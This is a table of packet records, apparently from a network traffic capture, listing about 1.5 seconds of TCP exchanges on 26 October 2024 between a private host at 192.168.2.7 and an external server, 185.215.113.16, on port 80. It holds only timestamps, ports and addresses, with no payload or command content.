Oct 26, 2024 08:53:32.197899103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.197900057 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.197940111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.204024076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.204035997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.204046011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.204080105 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.204093933 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.225853920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.225872040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.225883007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.225917101 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.271512032 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.271600008 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.271637917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.271650076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.271697044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.282077074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.282159090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.282170057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.282187939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.282200098 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.282241106 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.282910109 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.313838005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.313889027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.313903093 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.321468115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.321480989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.321491003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.321522951 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.321543932 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.343188047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.343202114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.343213081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.343307972 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.389048100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.389064074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.389075041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.389182091 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.399482965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.399506092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.399518013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.399529934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.399543047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.399564981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.399564981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.399581909 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.438811064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.438832045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.438843966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.438853025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.438864946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.438893080 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.438944101 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.460540056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.460555077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.460566044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.460611105 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.460627079 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.506445885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.506460905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.506473064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.506623983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.516870022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.516881943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.516891956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.516947031 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.516992092 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.517020941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.517034054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.517044067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.517076015 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.556521893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.556535006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.556546926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.556556940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.556571960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.556668043 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.578032017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.578046083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.578057051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.578104973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.619182110 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.623605967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.623621941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.623680115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.623691082 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.623701096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.623711109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.623722076 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.623744011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.623773098 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.634306908 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.634326935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.634342909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.634352922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.634362936 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.634372950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.634421110 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.634447098 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.673760891 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.673787117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.673800945 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.673814058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.673827887 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.673827887 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.673841000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.673867941 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.673904896 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.695347071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.695379019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.695391893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.695467949 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.741198063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.741215944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.741229057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.741240025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.741245031 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.741254091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.741261959 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.741309881 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.751610994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.751625061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.751637936 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.751657963 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.751847029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.751888037 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.751899958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.751914024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.751948118 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.791071892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.791089058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.791110992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.791150093 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.791183949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.791197062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.791209936 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.791224957 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.791254044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.812798977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.812815905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.812828064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.812839985 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.812880039 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.812895060 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.858704090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.858724117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.858733892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.858742952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.858753920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.858762980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.858772993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.858803034 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.858839989 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.872282028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.872293949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.872303963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.872340918 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.872353077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.872356892 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.872365952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.872375965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.872406006 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.908413887 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.908447027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.908463955 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.908478022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.908480883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.908488035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.908512115 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.908552885 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.908566952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.908628941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.908667088 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.930222034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.930238962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.930250883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.930299997 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.975876093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.975893021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.975903034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.976011992 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.976527929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.976540089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.976552010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.976641893 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.986576080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.986594915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.986605883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.986650944 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.986653090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.986666918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.986675978 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.986704111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:32.986732960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.986745119 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:32.986790895 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.025657892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.025674105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.025685072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.025748014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.025758982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.025783062 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.025820971 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264060974 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264163971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264175892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264187098 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264199018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264210939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264215946 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264261961 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264333010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264344931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264354944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264380932 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264411926 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264512062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264524937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264533997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264556885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264569044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264575005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264583111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264589071 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264599085 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264611006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264621019 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264645100 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264702082 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264713049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264723063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264734030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264739037 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264744997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264756918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264769077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264780045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264780045 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264791012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.264810085 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.264977932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.265332937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.265343904 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.265352964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.265387058 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.265424013 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.265424013 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.283428907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.283446074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.283454895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.283529997 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.283556938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.283567905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.283576965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.283605099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.283618927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.292970896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.292985916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.293044090 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.328603029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.328624010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.328635931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.328661919 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.369127035 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.381759882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.381774902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.381786108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.381824970 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.400806904 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.400929928 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.400943041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.401038885 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.401712894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.401879072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.401890993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.401928902 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.402395964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.402407885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.402450085 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.445719004 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.445744991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.445756912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.445875883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.495291948 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.495306969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.495383978 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.496467113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.496480942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.496494055 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.496529102 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.518120050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.518140078 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.518151999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.518162966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.518176079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.518188953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.518194914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.518201113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.518245935 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.518280983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.563297033 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.563334942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.563347101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.563416004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.613635063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.613665104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.613675117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.613706112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.613717079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.613729000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.613754988 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.613780022 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.636003971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.636019945 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.636030912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.636042118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.636054039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.636064053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.636070013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.636076927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.636110067 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.636125088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.636128902 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.680740118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.680758953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.680774927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.680850029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.680895090 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:33.731385946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.731396914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:33.731511116 CEST	49759	80	192.168.2.7	185.215.113.16
